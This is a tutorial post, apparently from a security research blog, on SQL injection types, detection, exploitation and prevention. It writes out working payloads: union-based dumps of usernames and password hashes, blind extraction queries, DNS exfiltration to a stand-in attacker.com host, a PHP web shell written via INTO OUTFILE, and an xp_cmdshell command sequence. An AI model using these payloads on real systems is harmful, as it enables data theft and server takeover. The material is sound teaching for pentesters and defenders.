White Hats - Nepal

Security research, bug bounty writeups, pentest notes

SQL Injection Explained: A Deep Dive for Pentesters & Bug Bounty Hunters

Published April 19, 2026 · 3,427 words

SQL Injection (SQLi) is a web security vulnerability that allows an attacker to interfere with the queries an application makes to its database. This interference often lets attackers view data they aren't normally able to retrieve, including sensitive company data, customer information, or even credentials. In some cases, a successful SQLi attack can even give an attacker persistent backdoor access to the server, enabling remote code execution.

Think of it this way: your web application talks to a database using SQL queries. If an attacker can trick your application into building a query that includes their malicious input as part of the SQL command, rather than just as data, they've found an SQLi vulnerability. It's one of the oldest and most persistent web vulnerabilities out there, still found in applications today despite decades of awareness.

What is SQL Injection? Understanding the Core Vulnerability

At its heart, SQL Injection exploits a fundamental trust issue: the application doesn't properly distinguish between user-supplied input and commands it intends to execute in the database. When a web application takes user input – say, a username, a search query, or an ID – and directly concatenates it into an SQL query string without proper sanitization or parameterization, that's where the danger lies.

The database server then receives this manipulated query and executes it as valid SQL, often leading to unintended consequences like data exposure, data alteration, or even complete database compromise. I've seen countless applications, from small internal tools to large public-facing platforms, fall victim to this exact flaw.

The Anatomy of a Basic SQL Injection Attack

Let's break down a simple scenario. Imagine a login form where you input your username. The application might construct an SQL query like this:

SELECT * FROM users WHERE username = 'admin' AND password = 'password123';

Now, what happens if an attacker inputs ' OR 1=1-- into the username field instead of a legitimate username?

SELECT * FROM users WHERE username = '' OR 1=1--' AND password = 'password123';

Let's dissect that malicious input:

The resulting query effectively becomes: SELECT * FROM users WHERE username = '' OR 1=1; This query will always return all rows where 1=1 is true, which is every row in the users table. If the application is designed to log in the first user returned, the attacker just logged in as the first user, often an administrator, without needing a password. That's a classic example of an authentication bypass via SQLi.

Key Takeaway: SQL Injection happens when user input is treated as executable code by the database. The core principle is manipulating SQL query logic through unvalidated input fields.

The Many Faces of SQL Injection: Common Types and How They Work

SQL Injection isn't a single vulnerability; it's a family of attacks, each with its own characteristics and exploitation methods. Understanding these types is crucial for both identifying and exploiting them effectively. From my experience, attackers often chain these methods together to achieve their goals.

In-band SQL Injection: Error-based and Union-based SQLi

In-band SQLi is the most common type, where the attacker uses the same communication channel to inject the malicious SQL query and retrieve results. This category includes error-based and union-based attacks.

Error-based SQLi

Error-based SQLi relies on database error messages to reveal information about the database structure or the data itself. When an attacker injects a malformed query, the database might throw an error that includes snippets of the original query, column names, or even values from the database. This is incredibly useful for reconnaissance.

Consider a vulnerable URL: https://example.com/products.php?id=1

If you append a single quote: https://example.com/products.php?id=1', the application might return a generic error. But if it's truly vulnerable, a more sophisticated payload could trigger a detailed database error. For instance, using functions like updatexml() or extractvalue() in MySQL:

SELECT * FROM products WHERE id = 1 AND (SELECT EXTRACTVALUE(1,CONCAT(0x5c, (SELECT user()))));

If the id parameter is vulnerable, the application might output an error message containing the database username, like: XPATH syntax error: '\root@localhost'. This tells you the current database user, which is a significant piece of information for further exploitation.

Union-based SQLi

Union-based SQLi is a powerful technique where an attacker uses the UNION SELECT statement to combine the results of their injected query with the results of the original query. The goal is to retrieve data from other tables within the database, even if the application wasn't designed to display it.

To perform a Union-based attack, you first need to determine the number of columns in the original query. You can do this by using the ORDER BY clause and gradually incrementing the column number until an error occurs:

https://example.com/products.php?id=1 ORDER BY 1-- (No error)

https://example.com/products.php?id=1 ORDER BY 2-- (No error)

... and so on.

If https://example.com/products.php?id=1 ORDER BY 5-- returns an error, but ORDER BY 4-- does not, you know the original query selects 4 columns. Then, you can identify which columns can display string data by replacing the original ID with a negative value (to ensure the original query returns no rows) and using a UNION SELECT with nulls and a string:

https://example.com/products.php?id=-1 UNION SELECT NULL,NULL,'hacked',NULL--

If 'hacked' appears on the page, you know the third column is string-displayable. With this knowledge, you can start extracting information, for example, the current database version:

https://example.com/products.php?id=-1 UNION SELECT NULL,NULL,VERSION(),NULL--

Or, more critically, listing all tables from the information_schema database (common in MySQL/PostgreSQL):

https://example.com/products.php?id=-1 UNION SELECT NULL,NULL,GROUP_CONCAT(table_name),NULL FROM information_schema.tables WHERE table_schema = DATABASE()--

This will concatenate all table names into a single string, which is then displayed on the page.

Inferential SQL Injection: Blind SQLi in Action

Blind SQL Injection (Blind SQLi) occurs when an application is vulnerable to SQLi, but the results of the injection are not directly returned in the web page. Attackers must infer the database's response based on subtle differences in the application's behavior or response time. This is often more time-consuming but can be just as effective.

Boolean-based Blind SQLi

Boolean-based Blind SQLi involves sending SQL queries that force the application to return a different response depending on whether the injected condition is true or false. For example, if the application displays "Product Found" for true conditions and "Product Not Found" for false conditions.

Let's say a page shows product details for id=1.

https://example.com/product.php?id=1 AND 1=1-- (Page loads normally - TRUE condition)

https://example.com/product.php?id=1 AND 1=2-- (Page shows "Product Not Found" or is empty - FALSE condition)

Once you've confirmed this behavior, you can start extracting data character by character. To find the first letter of the database name:

https://example.com/product.php?id=1 AND SUBSTRING(DATABASE(),1,1) = 'a'-- (If 'a' is the first letter, page loads normally)

https://example.com/product.php?id=1 AND SUBSTRING(DATABASE(),1,1) = 'b'-- (If 'b' is not the first letter, page shows "Product Not Found")

You iterate through characters until you find the correct one, then move to the next character position: SUBSTRING(DATABASE(),2,1), and so on. This process is tedious, which is why tools like SQLMap automate it.

Time-based Blind SQLi

Time-based Blind SQLi is used when there's no visible difference in the page content for true/false conditions. Instead, the attacker uses database functions that cause a delay (like SLEEP() in MySQL or PG_SLEEP() in PostgreSQL) to infer the truthfulness of a condition based on the response time.

Consider the same product page:

https://example.com/product.php?id=1 AND IF(1=1, SLEEP(5), 0)-- (Page takes 5 seconds to load - TRUE condition)

https://example.com/product.php?id=1 AND IF(1=2, SLEEP(5), 0)-- (Page loads immediately - FALSE condition)

Similar to Boolean-based, you can then extract data character by character:

https://example.com/product.php?id=1 AND IF(SUBSTRING(DATABASE(),1,1) = 'a', SLEEP(5), 0)--

If the page takes 5 seconds to load, the first letter is 'a'. If it loads quickly, it's not. This is a powerful technique when other methods fail, though it can be noisy and slow without automation.

Out-of-Band SQL Injection: When All Else Fails

Out-of-Band (OOB) SQL Injection is a less common but highly effective technique used when the attacker cannot retrieve data directly through the web application's response (in-band) or infer it through timing/boolean differences (blind). Instead, the attacker makes the database server deliver data to an external system they control.

This usually involves using database functions that can initiate network requests, such as DNS lookups or HTTP requests. For example, in MySQL, you can use LOAD_FILE() or SELECT ... INTO OUTFILE in conjunction with UNC paths on Windows (if SMB is enabled), or more commonly, DNS exfiltration:

SELECT LOAD_FILE(CONCAT('\\\\', (SELECT DATABASE()), '.attacker.com\\share'));

Or, leveraging DNS in MySQL (if the sys_eval function or similar is available or can be created):

SELECT CONCAT('http://', (SELECT @@version), '.attacker.com/file.txt');

The database server attempts to resolve (SELECT @@version).attacker.com, and the attacker's DNS server logs the request, revealing the MySQL version. This method is particularly useful in highly restricted environments where direct data leakage is prevented.

Key Takeaway: SQLi comes in many forms. In-band (Error, Union) gives direct results, while Inferential (Boolean, Time-based) relies on indirect cues. Out-of-Band is a stealthier option for data exfiltration when direct channels are blocked.

Detecting SQL Injection: Your Arsenal of Tools and Techniques

Finding SQL Injection vulnerabilities is a core skill for any pentester or bug bounty hunter. It requires a mix of manual precision and automated firepower. From my experience, a hybrid approach almost always yields the best results.

Manual Detection: The Art of Probing

Manual detection is where you truly understand the application's interaction with the database. It starts with identifying potential injection points:

Once you have an injection point, you start probing with basic SQL metacharacters:

  1. Single Quote ('): Append a single quote to a parameter (e.g., id=1'). This often breaks the query and causes an SQL error, indicating vulnerability.
  2. Comment Characters (-- or #): Use these to comment out the rest of the original query, simplifying the injection. For example, id=1--.
  3. Boolean Conditions: Test for blind SQLi by appending true/false conditions: id=1 AND 1=1 and id=1 AND 1=2. Observe differences in page content or HTTP response codes.
  4. Time Delays: Use database-specific sleep functions (e.g., id=1 AND SLEEP(5)) to confirm time-based blind SQLi. This is a reliable indicator if no other differences are observed.

Using a proxy like Burp Suite Professional is essential here. You can easily intercept requests, modify parameters, and send them repeatedly. The Intruder module is fantastic for fuzzing parameters with various payloads and observing responses.

Automated Tools: Speeding Up the Hunt

While manual testing is critical for understanding, automated tools significantly accelerate the process, especially for blind SQLi. The undisputed champion here is SQLMap.

SQLMap is an open-source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws. It supports various database management systems (MySQL, Oracle, PostgreSQL, MS SQL Server, etc.) and a wide range of SQLi techniques (error-based, union-based, boolean-based blind, time-based blind, out-of-band).

Here's a quick look at how you might use SQLMap:

SQLMap is incredibly powerful, but it's a "fire and forget" tool. You still need the manual skills to verify its findings and understand the underlying vulnerability. Don't just rely on its output without understanding *why* it found what it did.

Feature Manual Detection Automated Tools (e.g., SQLMap)
Depth of Understanding High (teaches you how SQLi works) Low (abstracts away details)
Speed/Efficiency Slow for extensive testing Fast, especially for blind SQLi
False Positives Low (human intelligence filters) Can be moderate (requires verification)
Complexity of Payloads Requires deep knowledge to craft complex payloads Handles complex payloads automatically
Stealth/Evasion Easier to be stealthy, craft custom payloads to bypass WAFs Can be noisy, though has WAF bypass features
Ideal Use Case Initial reconnaissance, understanding logic, bypassing WAFs Large-scale scanning, data exfiltration, blind SQLi

Key Takeaway: Combine manual probing with automated tools. Use your brain for initial discovery and WAF evasion, then let SQLMap handle the heavy lifting of enumeration and data extraction.

Exploiting SQL Injection: Real-World Scenarios and Payloads

Once you've confirmed an SQLi vulnerability, the real fun begins: exploitation. The goal usually escalates from simple data retrieval to complete database compromise, and sometimes even remote code execution on the underlying server. I've personally seen these attacks lead to massive data breaches.

Database Enumeration

The first step after confirming SQLi is usually to gather information about the database itself. This includes:

These payloads assume a 3-column union-based injection where the second column is string-displayable. Adjust NULLs and column positions as needed for your target.

Data Exfiltration

This is often the primary goal: extracting sensitive data. Once you know the database name, you can enumerate tables and then columns, finally pulling the actual data.

Example (MySQL/PostgreSQL):

  1. List Tables in the current database:

    UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema = DATABASE()--

    You might find tables like users, customers, credit_cards.

  2. List Columns in a specific table (e.g., users):

    UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_schema = DATABASE() AND table_name = 'users'--

    This might reveal columns like id, username, password_hash, email.

  3. Dump Data from a specific table and columns:

    UNION SELECT 1,GROUP_CONCAT(username,0x3a,password_hash),3 FROM users--

    The 0x3a is the hexadecimal representation of a colon (:), used to separate values for readability. This payload would dump all usernames and their corresponding password hashes.

For large datasets, you'd typically use SQLMap to automate this process, as manually extracting character by character (especially in blind scenarios) is incredibly tedious.

Writing to Files and Remote Code Execution (RCE)

In certain configurations, SQL Injection can lead to file system interaction and even Remote Code Execution (RCE). This is often possible if the database user has sufficient privileges (e.g., FILE privilege in MySQL) and the application's web server runs with lax permissions.

Writing a Web Shell (MySQL example):

If the FILE privilege is granted and you know the web root path (e.g., /var/www/html/), you can write a simple PHP web shell:

UNION SELECT 1,'<?php system($_GET["cmd"]); ?>',3 INTO OUTFILE '/var/www/html/shell.php'--

Now, by navigating to https://example.com/shell.php?cmd=ls%20-la, you might be able to execute arbitrary commands on the server. This is a critical compromise.

MS SQL Server RCE via xp_cmdshell:

MS SQL Server has a stored procedure called xp_cmdshell that allows executing operating system commands. It's often disabled by default but can be enabled by an attacker if they have sufficient privileges.

EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'whoami';--

This sequence first enables advanced options, then enables xp_cmdshell, and finally executes the whoami command. The output would likely be visible via error messages or OOB channels.

Key Takeaway: Exploitation escalates from information gathering to data theft, and in the worst cases, full server compromise. Understanding database-specific functions and server configurations is key to maximizing impact.

Beyond Exploitation: Prevention and Mitigation Strategies

As pentesters, our job isn't just to find vulnerabilities but also to understand how to fix them. Preventing SQL Injection is primarily about treating all user input as untrusted data and never concatenating it directly into SQL queries. This is where robust development practices come in.

Parameterized Queries (Prepared Statements)

This is, without a doubt, the most effective defense against SQL Injection. Parameterized queries work by sending the SQL query structure to the database first, with placeholders for the input values. Then, the actual values are sent separately. The database engine then combines the query structure and values, ensuring that the values are treated as data, not as executable code.

Example (PHP with PDO):

$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username AND password = :password");
$stmt->bindParam(':username', $_POST['username']);
$stmt->bindParam(':password', $_POST['password']);
$stmt->execute();
$user = $stmt->fetch();

Notice how :username and :password are placeholders. The database understands these are variable slots. Even if an attacker puts ' OR 1=1-- into the username field, it will be treated as the literal string value for the :username parameter, not as SQL code. This completely neutralizes the injection attempt.

Every major programming language and database framework supports parameterized queries (e.g., PDO in PHP, JDBC in Java, SQLAlchemy in Python, Entity Framework in .NET). Always use them.

Input Validation and Escaping

While parameterized queries are the primary defense, strong input validation and proper escaping act as important secondary layers of defense.

Relying solely on escaping is a dangerous game; it's easy to miss an edge case or use the wrong escaping function for a given database type or character set. Always prioritize parameterized queries.

Least Privilege and Web Application Firewalls (WAFs)

These are more general security practices that significantly reduce the impact of a successful SQLi attack, even if it manages to bypass other defenses.

Key Takeaway: Parameterized queries are your primary defense – use them always. Supplement with strict input validation, and enforce least privilege for database users. WAFs provide an additional layer of protection but are not a substitute for secure coding practices.

Frequently Asked Questions

What's the difference between SQLi and XSS?

SQL Injection (SQLi) targets the application's database, manipulating database queries to extract or alter data. Cross-Site Scripting (XSS) targets web users, injecting malicious client-side scripts (like JavaScript) into web pages viewed by others, typically to steal cookies or deface websites.

Can SQL Injection lead to RCE?

Yes, in certain circumstances, SQL Injection can lead to Remote Code Execution (RCE). This typically happens when the database user has high privileges, allowing them to write files to the web server's document root (creating a web shell) or execute operating system commands directly through database functions like MS SQL Server's xp_cmdshell.

Is SQL Injection still relevant in modern applications?

Absolutely. Despite being a well-known vulnerability for decades, SQL Injection remains highly relevant. Legacy applications, poorly configured frameworks, or custom code that doesn't properly use parameterized queries continue to introduce SQLi vulnerabilities. OWASP consistently ranks SQL Injection among the top web application security risks.

What's a good first step to learn SQLi?

A great first step is to set up a vulnerable web application like OWASP Juice Shop or DVWA (Damn Vulnerable Web Application) in a local lab environment. Experiment with manual injection techniques and then progress to using automated tools like SQLMap. Understanding basic SQL syntax is also essential.